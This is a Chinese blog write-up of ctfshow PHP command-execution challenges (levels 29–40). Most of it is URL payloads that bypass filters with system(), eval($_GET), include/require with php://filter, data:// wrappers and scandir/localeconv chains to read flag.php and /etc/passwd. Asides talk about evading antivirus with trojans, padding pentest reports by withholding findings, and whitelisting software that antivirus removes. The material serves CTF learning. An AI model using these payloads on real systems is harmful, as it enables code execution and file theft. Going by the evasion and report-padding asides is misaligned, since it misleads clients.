震惊!!! ctfshow解题思路

理解 命令执行

就是服务器某一个语法或者命令过滤了 那么我们要绕过这些过滤 给数据玩急转弯

原理就是 用特殊符号代替或者用别的方式让语句可以生效 从而达到命令可以被执行

29关

?c=phpinfo()?>

得到php信息

?c=file_get_contents('')

理解为 内容会不会过滤

?c=("cp fla?.php 1.txt")

Flag被过滤了 所以要将flag的g换成?

然后再访问1.txt

?c=system("ls");

?c=system("tac%20f*.php");

通关

30关

?c=`cp fla?.??? 1.txt`;

然后 1.txt

记得加分号结束语句

31关

可以看到这些红色的 就是被过滤掉的指令

那么我们要绕过这些指令 去代替 被过滤的

?c=eval($_GET[1]);&1=phpinfo();

得到了php画面

?c=eval($_GET[1]);&1=system('ls');

?c=eval($_GET[1]);&1=system('cat flag.php');

右键查看源代码即可通关

现在学到第三关了 逻辑一定要搞清楚

文件上传

命令执行

文件包含

都是类似的方法 去绕过

欺骗服务器 以后制作木马的要求就是能不能绕过360

木马进去windows系统能不能免杀不被发现

c参数是一个跳板

另外补充知识点 $符号是变量的意思

相当于一个桶子 你把一个数据丢进去 然后可以变化 指定到很多数据

王者荣耀的中路知道吧 不同的分路都可以来单吃兵线 而来单吃兵线的人 都可以拿兵线去干不同的事情 或者是购买物品 进行刷经济 从而提升巅峰分

常量名指的就是经常就是这个 不改变

代码对于新手来说就是 我要做什么 我将这个数据 给予了它一定的价值

当我要用它时 我可以用ehco来输出它 将内容显示出来

但是我不可能每次都要将echo这个词语打出来 非常麻烦 且工作量巨大

所以变量$就产生用处了 

;每一行代码要在最后一个字符加上分号 表示结束 这样代码执行的时候才不会出现问题

32关

?c=include%0a$_GET[1];&1=/etc/passwd 

尝试一次 没有回显

将分号换成尖括号

?c=include%0a$_GET[1]?>&1=/etc/passwd

接下来试一下能不能包含二进制文件

?c=include%0a$_GET[1]?>&1=/bin/ls

?c=include%0a$_GET[1]?>&1=flag.php

没有回显 右键查看源代码 也没有

原因 因为是文件包含  并没有写输出变量

这里输出的语法是echo 读音是哎扣

没有回显的原因是文件包含 过滤了分号 所以导致输出不了

?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

拿到了很长一段代码

解码  basse64       解码网站是从百度是上查的 我这边随便查了一个https://tool.ip138.com/base64/

不想用就自己去搜索 basse64 decode在线解码

直接拿下

这一题与上一关差不多

不同点是 这里使用的是文件包含

从而变相的达到任意文件上传的方法

33关

刚才我们用了 include 这次用 require

?c=require%0a$_GET[1]?>&1=/etc/passwd

可以读取出来 那们我们直接包含进去

?c=require%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

得到密文 然后解码

base64解码 base64编码 在线base64解码/编码工具 iP138在线工具 这个是解码地址 不想用自己去查

通关

一般是用hackbar来快捷输入语法以及解析 直接点击就好

这个插件教程后续会出 都是一键化的

但是 首先要学会手工 能够看得懂 知道怎么个回事 再去走捷径 省点麻烦

打完靶场之后 不看教程再来一遍 那就是学会了 不然就是当脚本小子咯

34关

Print

Echo

isset

Unset

include

require

常用的是这5个

isset 空格 echo 被过滤了

试下这3个 能不能用

?c=print%0a$_GET[1]&1=phpinfo();

?c=print%0a$_GET[1]?>&1=phpinfo();    回显结果是 phpinfo();

?c=include%0a$_GET[1]?>&1=/etc/passwd  有回显 

只能说明 文件读取 没有显示在那里执行

?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

解码 过关 base64解码 base64编码 在线base64解码/编码工具 iP138在线工具 这个是解码地址 不想用自己去查

35关

?C=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

这题 晚上弄

36关

不让用数字了 可以用字母

1换成a

?c=include%0a$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

php会向下兼容 虚拟机选择操作系统以及版本也是一样的

高版本会适应低版本 而 低版本无法适应高版本

我的疑问是 怎么样去判断 加不加单引号 符号如何增加

37关

?c=data://text/plain,<?php phpinfo();?>

获取到版本信息

?c=data://text/plain,<?php system("mv fla? .php 1.txt");?>

1.txt

?c=data://text/plain,<?php system("mv fla?.php 1.txt");?>

先输入这个

然后再输入1.txt

flag就出来了

38关

先输入命令 然后输入1.txt

为什么输入1.txt

是以这个格式显示出来么

?c=data://text/plain,<?=system("cp fl*.*1.txt");?>

1.txt

38关有问题 下一关进行

39关

?c=data://text/plain,<?=phpinfo();?>

有回显 表示可以执行

?c=data://text/plain,<?=phpinfo0;?>.php

出现了报错

?c=data://text/plain,<?=2;?>.php             回显 2.php.php

?c=data://text/plain,<?=2;?>                     回显 2.php

这里的意义是 知道代码 加减哪些字符可以达到什么效果

所以将代码手敲上去 就行了 敲完再看看

接下来

?c=data://text/plain,<?=system("tac fla?.ph?");?>

由于flag 和 php 被屏蔽 通过更换其中一个字符来运行

通关 下一关

40关

新手看不懂就先把公式给手工打出来  然后将每个代词翻译一遍 记笔记 没有学不会的东西 只不过说是换一种思维方式 还有看懂的方式 都是一层层套娃 套下来的意思

?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

输入这个命令通关

但是我们不用这种方式 因为不够深入

我将代码解释一下是什么意思 怎么去运行的

这段代码的含义和作用如下: url地址中 从右往左看

  1. 通过 GET 请求参数传递了一个名为 "c" 的值,即 ?c=show_source(next(array_reverse(scandir(pos(localeconv())))));。
  2. 代码中使用了一系列函数来执行一些文件操作和函数调用。
  1. scandir() 函数用于获取指定目录中的文件和目录列表。在这里,pos(localeconv()) 返回当前系统的本地化设置,然后 scandir() 函数将返回该本地化设置所在目录中的文件和目录列表。
  2. array_reverse() 函数将文件和目录列表反转,以便最后一个元素位于数组的开头。
  3. next() 函数用于获取数组中的下一个元素,即最后一个元素。
  1. 最后,show_source() 函数用于显示指定文件的源代码。

综上所述,

这段代码的作用是获取当前系统的本地化设置所在目录中的文件和目录列表,

然后显示最后一个文件的源代码。

它使用了一系列函数来实现这个功能,

但需要注意的是,这段代码没有对用户输入进行过滤和验证,

存在安全风险。如果用户可以控制 "c" 参数的值,

可能会导致任意文件的源代码泄露。

因此,在实际应用中,应该对用户输入进行严格的过滤和验证,以确保安全性。

为什么要这么做?而不是直接下一关

当我们判断了一种方式 是漏洞之后 看看能不能用别的方式查看到更多的漏洞

这样你在提交漏洞的时候 或者是写渗透报告之后 就可以有更多的内容 钱也多

学会渗透之后 厂商要你去做渗透服务 你不可能每天都挖的到漏洞 或者是中级漏洞

所以你在提交漏洞时 别把事情做的太死了 不要一次性提交完 前提是你是驻厂人员及运维

漏洞挖不倒 就找企业体系风险 企业安全风险 你这个安全防护不够好 建议购买安全产品来做防护

你这个人员要操作规范 你就写进去 这也算是一种内容 证明你做了事情

养好习惯 将学习过程边学边做 不然会花费大量时间去做渗透报告

渗透报告的格式我之后会发在平台上

一位好的渗透工程师产生的结果是好的 那随之而来的也要有一份好的渗透报告

如果这都做不出 说明你给企业带来不了 你的价值  钱就不多嘛 永远是安服仔

企业用人标准 渗透就是一个基础 那就是应该的 作为渗透工程师 你应该会的更多

覆盖的内容是包括很多的

本人现在偏向于安服仔的工作

但是之后主要路线是红队攻防 ctf比赛 

让你去做金融行业 政府行业的渗透都做不了 java语言编写的代码 完全就是没机会渗透进去

企业安全系统一但发现被黑 会直接物理断电 你怎么渗透 直接就是一脸懵

0信任操作 一次操作需要经过3个人审批才能运行 派发工单

社工倒还是有可能  摸到一个边缘 打穿内网

接下来我们看到后面 尝试着用更多的方法

?c=print_r(get_defined_vars());

打印 获取当前所有的变量

获取到了

别的方法有点难度 目前看的懂 写不出来

post方式 传递数据 想要获取到版本信息 然后中间这个post那里插入一个单词

接着 代码就会报错 提示哪一行 有什么问题 接着就将print换成eval运行

版本信息就出来了

当你看不懂代码的时候 或者是不知道怎么写代码

给各位推荐一个软件 资源就在微信公众号里面 自己去搜索

软件名 vs code 这个是代码编辑器 不会使用请给我留言 我才会出教程

设置中文 加入chatgpt4 都是免费的

我很多软件都是从上面下载的 免费且开源 只不过是不用百度去翻找

毕竟百度上的东西 有 I kun在上面放置了木马 或者是一句话木马 可以连接到你的电脑

学习网安 最烦这种事情了 电脑会被黑你敢信 会被当做肉鸡 进行ddos行为

或者是窃取你的资料

所以!!! 将下载好的软件不要解压  只是放在你的主机里

然后你要用哪个 就把压缩包放在虚拟机里进行解压 如果遇到解压之后会把程序自动删除的时候 记得设置白名单 系统就不会删除 并加入信任软件或程序

为什么放在虚拟机内 因为虚拟机是一个文件 所有被执行的文件 都是被隔离起来 病毒逃逸到主机还是要花点时间的哈 将文件或者环境搭建好以后 记得弄快照 不然会有一次教训的

  • 47
    点赞
  • 35
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值